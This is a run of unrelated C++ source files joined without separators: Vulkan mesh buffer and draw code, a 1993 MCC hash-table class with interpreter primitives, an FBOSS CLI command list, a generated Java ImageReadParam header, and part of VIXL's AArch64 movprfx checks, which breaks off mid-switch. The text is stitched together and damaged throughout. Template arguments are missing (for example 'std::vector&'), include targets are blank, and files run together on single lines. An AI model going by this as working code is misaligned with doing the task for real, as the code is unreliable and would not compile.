// destroy buffers vulkanBufferDestroy(context.device, bufferInd); } // draw void VulkanMeshMatObjIndexed::draw(VulkanCommandBuffer& commandBuffer) { // bind and draw vkCmdBindVertexBuffers(commandBuffer.commandBuffer, 0, (uint32_t)bufferHandles.size(), bufferHandles.data(), bufferOffsets.data()); vkCmdBindIndexBuffer(commandBuffer.commandBuffer, bufferInd.buffer, 0, VK_INDEX_TYPE_UINT32); vkCmdDrawIndexed(commandBuffer.commandBuffer, indexCount, 1, 0, 0, 0); } ////////////////////////////////////////////////////////////////////////// // VulkanMeshMatObjTBN::VulkanMeshMatObjTBN VulkanMeshMatObjTBN::VulkanMeshMatObjTBN( VulkanContext& context, std::vector& pos, std::vector& tex, std::vector& nrm, std::vector& tng, std::vector& bnm) : VulkanMeshMatObj(context, pos, tex, nrm) { // create buffers vulkanBufferCreate(context.device, VK_BUFFER_USAGE_VERTEX_BUFFER_BIT, VKT_VECTOR_DATA_SIZE(tng), &bufferTng); vulkanBufferCreate(context.device, VK_BUFFER_USAGE_VERTEX_BUFFER_BIT, VKT_VECTOR_DATA_SIZE(bnm), &bufferBnm); // write buffers vulkanBufferWrite(context.device, bufferTng, 0, VKT_VECTOR_DATA_SIZE(tng), tng.data()); vulkanBufferWrite(context.device, bufferBnm, 0, VKT_VECTOR_DATA_SIZE(bnm), bnm.data()); // setup buffer handles and offsets bufferHandlesTB = { bufferTng.buffer, bufferBnm.buffer }; bufferOffsetsTB = { 0, 0 }; } // VulkanMeshMatObjTBN::~VulkanMeshMatObjTBN VulkanMeshMatObjTBN::~VulkanMeshMatObjTBN() { // destroy buffers vulkanBufferDestroy(context.device, bufferBnm); vulkanBufferDestroy(context.device, bufferTng); } // VulkanMeshMatObjTBN::draw void VulkanMeshMatObjTBN::draw(VulkanCommandBuffer& commandBuffer) { // bind and draw vkCmdBindVertexBuffers(commandBuffer.commandBuffer, 0, (uint32_t)bufferHandles.size(), bufferHandles.data(), bufferOffsets.data()); vkCmdBindVertexBuffers(commandBuffer.commandBuffer, 3, (uint32_t)bufferHandlesTB.size(), bufferHandlesTB.data(), bufferOffsetsTB.data()); vkCmdDraw(commandBuffer.commandBuffer, vertexCount, 1, 0, 0); } ////////////////////////////////////////////////////////////////////////// // VulkanMeshMatObjTBNIndexed::VulkanMeshMatObjTBNIndexed VulkanMeshMatObjTBNIndexed::VulkanMeshMatObjTBNIndexed( VulkanContext& context, std::vector& pos, std::vector& tex, std::vector& nrm, std::vector& tng, std::vector& bnm, std::vector& ind) : VulkanMeshMatObjTBN(context, pos, tex, nrm, tng, bnm) { // create index buffer vulkanBufferCreate(context.device, VK_BUFFER_USAGE_INDEX_BUFFER_BIT, VKT_VECTOR_DATA_SIZE(ind), &bufferInd); // write index buffers vulkanBufferWrite(context.device, bufferInd, 0, VKT_VECTOR_DATA_SIZE(ind), ind.data()); indexCount = (uint32_t)ind.size(); } // VulkanMeshMatObjTBNIndexed::~VulkanMeshMatObjTBNIndexed VulkanMeshMatObjTBNIndexed::~VulkanMeshMatObjTBNIndexed() { // destroy buffers vulkanBufferDestroy(context.device, bufferInd); } // VulkanMeshMatObjTBNIndexed::draw void VulkanMeshMatObjTBNIndexed::draw(VulkanCommandBuffer& commandBuffer) { // bind and draw vkCmdBindVertexBuffers(commandBuffer.commandBuffer, 0, (uint32_t)bufferHandles.size(), bufferHandles.data(), bufferOffsets.data()); vkCmdBindVertexBuffers(commandBuffer.commandBuffer, 3, (uint32_t)bufferHandlesTB.size(), bufferHandlesTB.data(), bufferOffsetsTB.data()); vkCmdBindIndexBuffer(commandBuffer.commandBuffer, bufferInd.buffer, 0, VK_INDEX_TYPE_UINT32); vkCmdDrawIndexed(commandBuffer.commandBuffer, indexCount, 1, 0, 0, 0); }/* Mode: -*- C++ -*- */ // vim: set ai ts=4 sw=4 expandtab /* @BC * Copyright (c) 1993 * by Microelectronics and Computer Technology Corporation (MCC) * All Rights Reserved * * Permission to use, copy, modify, and distribute this software and its * documentation for any purpose and without fee is hereby granted, * provided that this notice be retained unaltered, and that the name of * MCC and its shareholders and participants shall not be used in * advertising or publicity pertaining to distribution of the software * without specific written prior permission. * * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ #include "Table.h" #include "Ctxt.h" #include "Prim.h" #include "Ob.h" #include "Tuple.h" #include "BuiltinClass.h" #include BUILTIN_CLASS(RblTable) { OB_FIELD("tbl", RblTable, tbl); }; int RblTable::maxMaxTableSize = 8189; static const int HashStride = 37; static const int HashThreshold = 16; int RblTableDefaultHitFn(pOb key1, pOb key2) { return (key1 == key2); } RblTable::RblTable(int max, Tuple* tbl) : BinaryOb(sizeof(RblTable), CLASS_META(RblTable), CLASS_SBO(RblTable)), maxEntries(max), numberOfEntries(0), gcSensitiveKeys(false), registered(false), tbl(tbl), hitFn(&RblTableDefaultHitFn) { assert(max % HashStride != 0); if (max > HashThreshold) { addFn = &RblTable::hashAdd; lookupFn = &RblTable::hashLookup; checkSizeFn = &RblTable::hashCheckSize; } else { addFn = &RblTable::linearAdd; lookupFn = &RblTable::linearLookup; checkSizeFn = &RblTable::linearCheckSize; } RblTable::updateCnt(); } RblTable* RblTable::create(int max) { Tuple* tmp = Tuple::create(max * (sizeof(Entry) / sizeof(pOb)), ABSENT); void* loc = PALLOC1(sizeof(RblTable), tmp); return new (loc) RblTable(max, tmp); } RblTable::RblTable(int max, Tuple* tbl, RblTableHitFn rtabhfn) : BinaryOb(sizeof(RblTable), CLASS_META(RblTable), CLASS_SBO(RblTable)), maxEntries(max), numberOfEntries(0), gcSensitiveKeys(false), registered(false), tbl(tbl), hitFn(rtabhfn) { assert(max % HashStride != 0); if (max > HashThreshold) { addFn = &RblTable::hashAdd; lookupFn = &RblTable::hashLookup; checkSizeFn = &RblTable::hashCheckSize; } else { addFn = &RblTable::linearAdd; lookupFn = &RblTable::linearLookup; checkSizeFn = &RblTable::linearCheckSize; } RblTable::updateCnt(); } RblTable* RblTable::create(RblTableHitFn rtabhfn, int max) { Tuple* tmp = Tuple::create(max * (sizeof(Entry) / sizeof(pOb)), ABSENT); void* loc = PALLOC1(sizeof(RblTable), tmp); return new (loc) RblTable(max, tmp, rtabhfn); } RblTable::Entry& RblTable::entry(int n) { Entry* p = (Entry*)&tbl->elem(0); return p[n]; } void RblTable::linearResize() { /* * This routine copies the entire contents of the current table into * the front half of the new (twice as large) table, so that it can * be used by hashResize as well. If it only copied the first * numberOfEntries entries, it might will omit some entries in a * hashified table. */ PROTECT_THIS(RblTable); int newSz = 2 * maxEntries; if (newSz > RblTable::maxMaxTableSize) { newSz = RblTable::maxMaxTableSize; } Tuple* newTbl = Tuple::create(newSz * 2, ABSENT); memcpy(&newTbl->elem(0), &SELF->entry(0), maxEntries * sizeof(Entry)); SELF->maxEntries = newSz; // Don't do this until no GCs can occur. ASSIGN(SELF, tbl, newTbl); } void RblTable::hashResize() { PROTECT_THIS(RblTable); SELF->linearResize(); SELF->rehashCompletely(); } /* * The rehashing procedures use recursion and the C++ runtime stack for * temporary storage of the table's keys and values while recomputing * hash locations. Hashify is used to convert a linear lookup table into * a hash lookup table. To do so, it needs to temporarily remove all * entries from the table and then hash them into their proper locations. * RehashCompletely is called after a scavenge (if there are any * gcSensitive keys) or after growing a table. In the case of a * scavenge, any pointer-valued key that changes because of the scavenge * must be rehashed into the table; a complication arises from the fact * that the scavenger might change a key from sensitive to insensitive * (i.e., it moves the object that the key points to from new space to * old space) without the table's ever knowing it. Consequently, it is * not sufficient to merely look for gcSensitive keys in the fixup phase * -- we have to rehash the table completely. Furthermore, because a * key's location in a table is a function of the table size, we need to * recompute all of the locations after growing. */ int RblTable::hash(pOb key) { return ((int)PTR(key) >> TagSize); } void RblTable::hashify() { addFn = &RblTable::hashAdd; lookupFn = &RblTable::hashLookup; checkSizeFn = &RblTable::hashCheckSize; rehashCompletely(); } void RblTable::rehashCompletely() { assert(SIZE(tbl) == sizeof(Tuple) + maxEntries * sizeof(Entry)); gcSensitiveKeys = false; numberOfEntries = 0; rehashCompletelyFrom(0); } void RblTable::rehashCompletelyFrom(int n) { for (; n < maxEntries; n++) { /* * Put the key and value in stack-allocated automatics for * safekeeping while we reorganize the table. */ pOb key = entry(n).key; pOb val = entry(n).val; entry(n).key = ABSENT; entry(n).val = ABSENT; if (key != ABSENT && val != ABSENT) { rehashCompletelyFrom(n + 1); addEntry(key, val); return; } } } RblTable::Entry* RblTable::linearLookup(pOb key) { for (int i = 0; i < maxEntries; i++) { if ((*hitFn)(entry(i).key, key)) { return (entry(i).val == ABSENT ? 0 : &entry(i)); } } return 0; } RblTable::Entry* RblTable::hashLookup(pOb key) { int numberOfProbes = maxEntries; int probe = hash(key) % maxEntries; while (numberOfProbes--) { Entry* p = &entry(probe); if ((*hitFn)(p->key, key)) { return p; } else if (p->key != ABSENT) { probe = (probe + HashStride) % maxEntries; } else { break; } } return 0; } void RblTable::linearAdd(pOb key, pOb val) { for (int i = 0; i < numberOfEntries; i++) { Entry* p = &entry(i); if ((*hitFn)(p->key, key)) { if (val == ABSENT) { /* * Delete this entry by compacting the table. This * maintains the invariant that a linear table will never * have a key with an associated ABSENT value. (That * invariant is *not* maintained by hash tables.) */ for (int j = i + 1; j < numberOfEntries; j++) { entry(j - 1) = entry(j); } numberOfEntries--; entry(numberOfEntries).key = ABSENT; entry(numberOfEntries).val = ABSENT; return; } else { tbl->checkStore(p->val = val); return; } } } if (val == ABSENT) { return; } tbl->checkStore(entry(numberOfEntries).key = key); tbl->checkStore(entry(numberOfEntries).val = val); numberOfEntries++; } void RblTable::hashAdd(pOb key, pOb val) { int numberOfProbes = maxEntries; int probe = hash(key) % maxEntries; for (; numberOfProbes--; probe = (probe + HashStride) % maxEntries) { Entry* p = &entry(probe); if (p->key != ABSENT && !((*hitFn)(p->key, key))) { continue; } if (val == ABSENT) { if (p->val != ABSENT) { p->val = ABSENT; numberOfEntries--; } return; } if (!gcSensitiveKeys && IS_PTR(key) && key->gcSensitive()) { gcSensitiveKeys = true; if (!registered) { registered = true; heap->registerGCAgenda(this); } } numberOfEntries += (p->key == ABSENT); tbl->checkStore(p->key = key); tbl->checkStore(p->val = val); return; } /* * We should never get here, because the tables should get resized * before they ever get full. */ suicide("%s::hashAdd -- out of room in hash table", typestring()); } void RblTable::linearCheckSize() { if (numberOfEntries >= HashThreshold) { hashify(); hashCheckSize(); } else if (numberOfEntries >= maxEntries) { linearResize(); } } void RblTable::hashCheckSize() { if (4 * numberOfEntries > 3 * maxEntries) { // i.e., the table is 75% full hashResize(); } } void RblTable::addEntry(pOb key, pOb val) { (this->*addFn)(key, val); } int RblTable::traversePtrs(PSOb__PSOb f) { return BinaryOb::traversePtrs(f) + useIfPtr(&tbl, f); } int RblTable::traversePtrs(SI__PSOb f) { return BinaryOb::traversePtrs(f) + useIfPtr(tbl, f); } void RblTable::traversePtrs(V__PSOb f) { BinaryOb::traversePtrs(f); useIfPtr(tbl, f); } bool RblTable::gcFixup() { if (gcSensitiveKeys) { return true; } else { return (registered = false); } } bool RblTable::scavengeFixup() { rehashCompletely(); if (gcSensitiveKeys) { return true; } else { return (registered = false); } } pOb RblTable::cloneTo(pOb new_meta, pOb new_parent) { PROTECT_THIS(RblTable); Tuple* new_tbl = (Tuple*)tbl->clone(); PROTECT(new_tbl); RblTable* new_table = (RblTable*)SELF->Ob::cloneTo(new_meta, new_parent); new_table->tbl = new_tbl; if (new_table->gcSensitiveKeys) { heap->registerGCAgenda(new_table); } return new_table; } Tuple* RblTable::dumpKeys() { PROTECT_THIS(RblTable); Tuple* result = Tuple::create(numberOfEntries, NIV); if (SELF->addFn == &RblTable::linearAdd) { for (int i = numberOfEntries; i--;) { result->elem(i) = SELF->entry(i).key; } } else { int i = 0; for (int j = maxEntries; j--;) { pOb key = SELF->entry(j).key; pOb val = SELF->entry(j).val; if (key != ABSENT && val != ABSENT) { result->elem(i++) = key; } } assert(i == SELF->numberOfEntries); } return result; } Tuple* RblTable::dumpPairs() { PROTECT_THIS(RblTable); Tuple* result = Tuple::create(2 * numberOfEntries, NIV); if (SELF->addFn == &RblTable::linearAdd) { memcpy(&result->elem(0), &SELF->entry(0), SELF->numberOfEntries * sizeof(Entry)); } else { int i = 0; for (int j = maxEntries; j--;) { pOb key = SELF->entry(j).key; pOb val = SELF->entry(j).val; if (key != ABSENT && val != ABSENT) { result->elem(i++) = key; result->elem(i++) = val; } } assert(i == 2 * SELF->numberOfEntries); } return result; } int RblTable::nPairs() { return numberOfEntries; } pOb RblTable::getKey(pOb key) { Entry* keyloc = (this->*lookupFn)(key); return (keyloc == 0 ? ABSENT : keyloc->val); } pOb RblTable::addKey(pOb key, pOb val) { PROTECT_THIS(RblTable); PROTECT(key); PROTECT(val); if (numberOfEntries >= RblTable::maxMaxTableSize) { return DEADTHREAD; } else { (SELF->*checkSizeFn)(); SELF->addEntry(key, val); return key; } } DEF("tbl-add", tblAdd, 3, 3) { CHECK(0, RblTable, tbl); pOb result = tbl->addKey(ARG(1), ARG(2)); if (result == DEADTHREAD) { return tbl->runtimeError(__CTXT__, "RblTable max size reached."); } else { return result; } } DEF("tbl-get", tblGet, 2, 2) { CHECK(0, RblTable, tbl); return tbl->getKey(ARG(1)); } DEF("tbl-del", tblDel, 2, 2) { CHECK(0, RblTable, tbl); return tbl->addKey(ARG(1), ABSENT); } /* * Copyright (c) 2004-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #include "fboss/cli/fboss2/CmdList.h" #include "fboss/cli/fboss2/CmdHandler.h" namespace facebook::fboss { void commandHandler() { CmdHandler::getInstance()->run(); } const std::vector< std::tuple>& kListOfCommands() { static const std::vector< std::tuple> listOfCommands = { {"show", "acl", "Show ACL information", commandHandler}}; return listOfCommands; } } // namespace facebook::fboss // Generated from /Library/Java/JavaVirtualMachines/jdk1.8.0_144.jdk/Contents/Home/jre/lib/rt.jar #pragma once #include #include #include #include #include struct default_init_tag; class javax::imageio::ImageReadParam : public IIOParam { public: typedef IIOParam super; public: /* protected */ bool canSetSourceRenderSize_ { }; ::java::awt::image::BufferedImage* destination { }; ::int32_tArray* destinationBands { }; int32_t minProgressivePass { }; int32_t numProgressivePasses { }; ::java::awt::Dimension* sourceRenderSize { }; protected: void ctor(); public: virtual bool canSetSourceRenderSize(); virtual ::java::awt::image::BufferedImage* getDestination(); virtual ::int32_tArray* getDestinationBands(); virtual int32_t getSourceMaxProgressivePass(); virtual int32_t getSourceMinProgressivePass(); virtual int32_t getSourceNumProgressivePasses(); virtual ::java::awt::Dimension* getSourceRenderSize(); virtual void setDestination(::java::awt::image::BufferedImage* destination); virtual void setDestinationBands(::int32_tArray* destinationBands); void setDestinationType(ImageTypeSpecifier* destinationType) override; virtual void setSourceProgressivePasses(int32_t minPass, int32_t numPasses); virtual void setSourceRenderSize(::java::awt::Dimension* size); // Generated ImageReadParam(); protected: ImageReadParam(const ::default_init_tag&); public: static ::java::lang::Class *class_(); private: virtual ::java::lang::Class* getClass0(); }; dandycheung/vixl // Copyright 2015, VIXL authors // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // * Neither the name of ARM Limited nor the names of its contributors may be // used to endorse or promote products derived from this software without // specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS CONTRIBUTORS "AS IS" AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include "instructions-aarch64.h" #include "assembler-aarch64.h" namespace vixl { namespace aarch64 { static uint64_t RepeatBitsAcrossReg(unsigned reg_size, uint64_t value, unsigned width) { VIXL_ASSERT((width == 2) || (width == 4) || (width == 8) || (width == 16) || (width == 32)); VIXL_ASSERT((reg_size == kBRegSize) || (reg_size == kHRegSize) || (reg_size == kSRegSize) || (reg_size == kDRegSize)); uint64_t result = value & ((UINT64_C(1) << width) - 1); for (unsigned i = width; i < reg_size; i *= 2) { result |= (result << i); } return result; } bool Instruction::CanTakeSVEMovprfx(const char* form, const Instruction* movprfx) const { return CanTakeSVEMovprfx(Hash(form), movprfx); } bool Instruction::CanTakeSVEMovprfx(uint32_t form_hash, const Instruction* movprfx) const { bool movprfx_is_predicated = movprfx->Mask(SVEMovprfxMask) == MOVPRFX_z_p_z; bool movprfx_is_unpredicated = movprfx->Mask(SVEConstructivePrefix_UnpredicatedMask) == MOVPRFX_z_z; VIXL_ASSERT(movprfx_is_predicated != movprfx_is_unpredicated); int movprfx_zd = movprfx->GetRd(); int movprfx_pg = movprfx_is_predicated ? movprfx->GetPgLow8() : -1; VectorFormat movprfx_vform = movprfx_is_predicated ? movprfx->GetSVEVectorFormat() : kFormatUndefined; bool pg_matches_low8 = movprfx_pg == GetPgLow8(); bool vform_matches = movprfx_vform == GetSVEVectorFormat(); bool zd_matches = movprfx_zd == GetRd(); bool zd_isnt_zn = movprfx_zd != GetRn(); bool zd_isnt_zm = movprfx_zd != GetRm(); switch (form_hash) { case "cdot_z_zzzi_s"_h: case "sdot_z_zzzi_s"_h: case "sudot_z_zzzi_s"_h: case "udot_z_zzzi_s"_h: case "usdot_z_zzzi_s"_h: return (GetRd() != static_cast(ExtractBits(18, 16))) && movprfx_is_unpredicated && zd_isnt_zn && zd_matches; case "cdot_z_zzzi_d"_h: case "sdot_z_zzzi_d"_h: case "udot_z_zzzi_d"_h: return (GetRd() != static_cast(ExtractBits(19, 16))) && movprfx_is_unpredicated && zd_isnt_zn && zd_matches; case "fmlalb_z_zzzi_s"_h: case "fmlalt_z_zzzi_s"_h: case "fmlslb_z_zzzi_s"_h: case "fmlslt_z_zzzi_s"_h: case "smlalb_z_zzzi_d"_h: case "smlalb_z_zzzi_s"_h: case "smlalt_z_zzzi_d"_h: case "smlalt_z_zzzi_s"_h: case "smlslb_z_zzzi_d"_h: case "smlslb_z_zzzi_s"_h: case "smlslt_z_zzzi_d"_h: case "smlslt_z_zzzi_s"_h: case "sqdmlalb_z_zzzi_d"_h: case "sqdmlalb_z_zzzi_s"_h: case "sqdmlalt_z_zzzi_d"_h: case "sqdmlalt_z_zzzi_s"_h: case "sqdmlslb_z_zzzi_d"_h: case "sqdmlslb_z_zzzi_s"_h: case "sqdmlslt_z_zzzi_d"_h: case "sqdmlslt_z_zzzi_s"_h: case "umlalb_z_zzzi_d"_h: case "umlalb_z_zzzi_s"_h: case "umlalt_z_zzzi_d"_h: case "umlalt_z_zzzi_s"_h: case "umlslb_z_zzzi_d"_h: case "umlslb_z_zzzi_s"_h: case "umlslt_z_zzzi_d"_h: case "umlslt_z_zzzi_s"_h: return (GetRd() != GetSVEMulLongZmAndIndex().first) && movprfx_is_unpredicated && zd_isnt_zn && zd_matches; case "cmla_z_zzzi_h"_h: case "cmla_z_zzzi_s"_h: case "fcmla_z_zzzi_h"_h: case "fcmla_z_zzzi_s"_h: case "fmla_z_zzzi_d"_h: case "fmla_z_zzzi_h"_h: case "fmla_z_zzzi_s"_h: case "fmls_z_zzzi_d"_h: case "fmls_z_zzzi_h"_h: case "fmls_z_zzzi_s"_h: case "mla_z_zzzi_d"_h: case "mla_z_zzzi_h"_h: case "mla_z_zzzi_s"_h: case "mls_z_zzzi_d"_h: case "mls_z_zzzi_h"_h: case "mls_z_zzzi_s"_h: case "sqrdcmlah_z_zzzi_h"_h: case "sqrdcmlah_z_zzzi_s"_h: case "sqrdmlah_z_zzzi_d"_h: case "sqrdmlah_z_zzzi_h"_h: case "sqrdmlah_z_zzzi_s"_h: case "sqrdmlsh_z_zzzi_d"_h: case "sqrdmlsh_z_zzzi_h"_h: case "sqrdmlsh_z_zzzi_s"_h: return (GetRd() != GetSVEMulZmAndIndex().first) && movprfx_is_unpredicated && zd_isnt_zn && zd_matches; case "adclb_z_zzz"_h: case "adclt_z_zzz"_h: case "bcax_z_zzz"_h: case "bsl1n_z_zzz"_h: case "bsl2n_z_zzz"_h: case "bsl_z_zzz"_h: case "cdot_z_zzz"_h: case "cmla_z_zzz"_h: case "eor3_z_zzz"_h: case "eorbt_z_zz"_h: case "eortb_z_zz"_h: case "fmlalb_z_zzz"_h: case "fmlalt_z_zzz"_h: case "fmlslb_z_zzz"_h: case "fmlslt_z_zzz"_h: case "nbsl_z_zzz"_h: case "saba_z_zzz"_h: case "sabalb_z_zzz"_h: case "sabalt_z_zzz"_h: case "sbclb_z_zzz"_h: case "sbclt_z_zzz"_h: case "sdot_z_zzz"_h: case "smlalb_z_zzz"_h: case "smlalt_z_zzz"_h: case "smlslb_z_zzz"_h: case "smlslt_z_zzz"_h: case "sqdmlalb_z_zzz"_h: case "sqdmlalbt_z_zzz"_h: case "sqdmlalt_z_zzz"_h: case "sqdmlslb_z_zzz"_h: case "sqdmlslbt_z_zzz"_h: case "sqdmlslt_z_zzz"_h: case "sqrdcmlah_z_zzz"_h: case "sqrdmlah_z_zzz"_h: case "sqrdmlsh_z_zzz"_h: case "uaba_z_zzz"_h: case "uabalb_z_zzz"_h: case "uabalt_z_zzz"_h: case "udot_z_zzz"_h: case "umlalb_z_zzz"_h: case "umlalt_z_zzz"_h: case "umlslb_z_zzz"_h: case "umlslt_z_zzz"_h: case "usdot_z_zzz_s"_h: case "fmmla_z_zzz_s"_h: case "fmmla_z_zzz_d"_h: case "smmla_z_zzz"_h: case "ummla_z_zzz"_h: case "usmmla_z_zzz"_h: return movprfx_is_unpredicated && zd_isnt_zm && zd_isnt_zn && zd_matches; case "addp_z_p_zz"_h: case "cadd_z_zz"_h: case "clasta_z_p_zz"_h: case "clastb_z_p_zz"_h: case "decd_z_zs"_h: case "dech_z_zs"_h: case "decw_z_zs"_h: case "faddp_z_p_zz"_h: case "fmaxnmp_z_p_zz"_h: case "fmaxp_z_p_zz"_h: case "fminnmp_z_p_zz"_h: case "fminp_z_p_zz"_h: case "ftmad_z_zzi"_h: case "incd_z_zs"_h: case "inch_z_zs"_h: case "incw_z_zs"_h: case "insr_z_v"_h: case "smaxp_z_p_zz"_h: case "sminp_z_p_zz"_h: case "splice_z_p_zz_con"_h: case "splice_z_p_zz_des"_h: case "sqcadd_z_zz"_h: case "sqdecd_z_zs"_h: case "sqdech_z_zs"_h: case "sqdecw_z_zs"_h: case "sqincd_z_zs"_h: case "sqinch_z_zs"_h: case "sqincw_z_zs"_h: case "srsra_z_zi"_h: case "ssra_z_zi"_h: case "umaxp_z_p_zz"_h: case "uminp_z_p_zz"_h: case "uqdecd_z_zs"_h: case "uqdech_z_zs"_h: case "uqdecw_z_zs"_h: case "uqincd_z_zs"_h: case "uqinch_z_zs"_h: case "uqincw_z_zs"_h: case "ursra_z_zi"_h: case "usra_z_zi"_h: case "xar_z_zzi"_h: return movprfx_is_unpredicated && zd_isnt_zn && zd_matches; case "add_z_zi"_h: case "and_z_zi"_h: case "decp_z_p_z"_h: case "eor_z_zi"_h: case "incp_z_p_z"_h: case "insr_z_r"_h: case "mul_z_zi"_h: case "orr_z_zi"_h: case "smax_z_zi"_h: case "smin_z_zi"_h: case "sqadd_z_zi"_h: case "sqdecp_z_p_z"_h: case "sqincp_z_p_z"_h: case "sqsub_z_zi"_h: case "sub_z_zi"_h: case "subr_z_zi"_h: case "umax_z_zi"_h: case "umin_z_zi"_h: case "uqadd_z_zi"_h: case "uqdecp_z_p_z"_h: case "uqincp_z_p_z"_h: case "uqsub_z_zi"_h: return movprfx_is_unpredicated && zd_matches; case "cpy_z_p_i"_h: if (movprfx_is_predicated) { if (!vform_matches) return false; if (movprfx_pg != GetRx<19, 16>()) return false; } // Only the merging form can take movprfx. if (ExtractBit(14) == 0) return false; return zd_matches; case "fcpy_z_p_i"_h: return (movprfx_is_unpredicated || ((movprfx_pg == GetRx<19, 16>()) && vform_matches)) && zd_matches; case "flogb_z_p_z"_h: return (movprfx_is_unpredicated || ((movprfx_vform == GetSVEVectorFormat(17)) && pg_matches_low8)) && zd_isnt_zn && zd_matches; case "asr_z_p_zi"_h: case "asrd_z_p_zi"_h: case "lsl_z_p_zi"_h: case "lsr_z_p_zi"_h: case "sqshl_z_p_zi"_h: case "sqshlu_z_p_zi"_h: case "srshr_z_p_zi"_h: case "uqshl_z_p_zi"_h: case "urshr_z_p_zi"_h: return (movprfx_is_unpredicated || ((movprfx_vform == SVEFormatFromLaneSizeInBytesLog2( GetSVEImmShiftAndLaneSizeLog2(true).second)) && pg_matches_low8)) && zd_matches; case "fcvt_z_p_z_d2h"_h: case "fcvt_z_p_z_d2s"_h: case "fcvt_z_p_z_h2d"_h: case "fcvt_z_p_z_s2d"_h: case "fcvtx_z_p_z_d2s"_h: case "fcvtzs_z_p_z_d2w"_h: case "fcvtzs_z_p_z_d2x"_h: case "fcvtzs_z_p_z_fp162x"_h: case "fcvtzs_z_p_z_s2x"_h: case "fcvtzu_z_p_z_d2w"_h: case "fcvtzu_z_p_z_d2x"_h: case "fcvtzu_z_p_z_fp162x"_h: case "fcvtzu_z_p_z_s2x"_h: case "scvtf_z_p_z_w2d"_h: case "scvtf_z_p_z_x2d"_h: case "scvtf_z_p_z_x2fp16"_h: case "scvtf_z_p_z_x2s"_h: case "ucvtf_z_p_z_w2d"_h: case "ucvtf_z_p_z_x2d"_h: case "ucvtf_z_p_z_x2fp16"_h: case "ucvtf_z_p_z_x2s"_h: return (movprfx_is_unpredicated || ((movprfx_vform == kFormatVnD) && pg_matches_low8)) && zd_isnt_zn && zd_matches; case "fcvtzs_z_p_z_fp162h"_h: case "fcvtzu_z_p_z_fp162h"_h: case "scvtf_z_p_z_h2fp16"_h: case "ucvtf_z_p_z_h2fp16"_h: return (movprfx_is_unpredicated || ((movprfx_vform == kFormatVnH) && pg_matches_low8)) && zd_isnt_zn && zd_matches; case "fcvt_z_p_z_h2s"_h: case "fcvt_z_p_z_s2h"_h: case "fcvtzs_z_p_z_fp162w"_h: case "fcvtzs_z_p_z_s2w"_h: case "fcvtzu_z_p_z_fp162w"_h: case "fcvtzu_z_p_z_s2w"_h: case "scvtf_z_p_z_w2fp16"_h: case "scvtf_z_p_z_w2s"_h: case "ucvtf_z_p_z_w2fp16"_h: case "ucvtf_z_p_z_w2s"_h: return (movprfx_is_unpredicated || ((movprfx_vform == kFormatVnS) && pg_matches_low8)) && zd_isnt_zn && zd_matches; case "fcmla_z_p_zzz"_h: case "fmad_z_p_zzz"_h: case "fmla_z_p_zzz"_h: case "fmls_z_p_zzz"_h: case "fmsb_z_p_zzz"_h: case "fnmad_z_p_zzz"_h: case "fnmla_z_p_zzz"_h: case "fnmls_z_p_zzz"_h: case "fnmsb_z_p_zzz"_h: case "mad_z_p_zzz"_h: case "mla_z_p_zzz"_h: case "mls_z_p_zzz"_h: case "msb_z_p_zzz"_h: return (movprfx_is_unpredicated || (pg_matches_low8 && vform_matches)) && zd_isnt_zm && zd_isnt_zn && zd_matches; case "abs_z_p_z"_h: case "add_z_p_zz"_h: case "and_z_p_zz"_h: case "asr_z_p_zw"_h: case "asr_z_p_zz"_h: case "asrr_z_p_zz"_h: case "bic_z_p_zz"_h: case "cls_z_p_z"_h: case "clz_z_p_z"_h: case "cnot_z_p_z"_h: case "cnt_z_p_z"_h: case "cpy_z_p_v"_h: case "eor_z_p_zz"_h: case "fabd_z_p_zz"_h: case "fabs_z_p_z"_h: case "fadd_z_p_zz"_h: case "fcadd_z_p_zz"_h: case "fdiv_z_p_zz"_h: case "fdivr_z_p_zz"_h: case "fmax_z_p_zz"_h: case "fmaxnm_z_p_zz"_h: case "fmin_z_p_zz"_h: case "fminnm_z_p_zz"_h: case "fmul_z_p_zz"_h: case "fmulx_z_p_zz"_h: case "fneg_z_p_z"_h: case "frecpx_z_p_z"_h: case "frinta_z_p_z"_h: case "frinti_z_p_z"_h: case "frintm_z_p_z"_h: case "frintn_z_p_z"_h: case "frintp_z_p_z"_h: case "frintx_z_p_z"_h: case "frintz_z_p_z"_h: case "fscale_z_p_zz"_h: case "fsqrt_z_p_z"_h: case "fsub_z_p_zz"_h: case "fsubr_z_p_zz"_h: case "lsl_z_p_zw"_h: case "lsl_z_p_zz"_h: case "lslr_z_p_zz"_h: case "lsr_z_p_zw"_h: case "lsr_z_p_zz"_h: case "lsrr_z_p_zz"_h: case "mul_z_p_zz"_h: case "neg_z_p_z"_h: case "not_z_p_z"_h: case "orr_z_p_zz"_h: case "rbit_z_p_z"_h: case "revb_z_z"_h: case "revh_z_z"_h: case "revw_z_z"_h: case "sabd_z_p_zz"_h: case "sadalp_z_p_z"_h: case 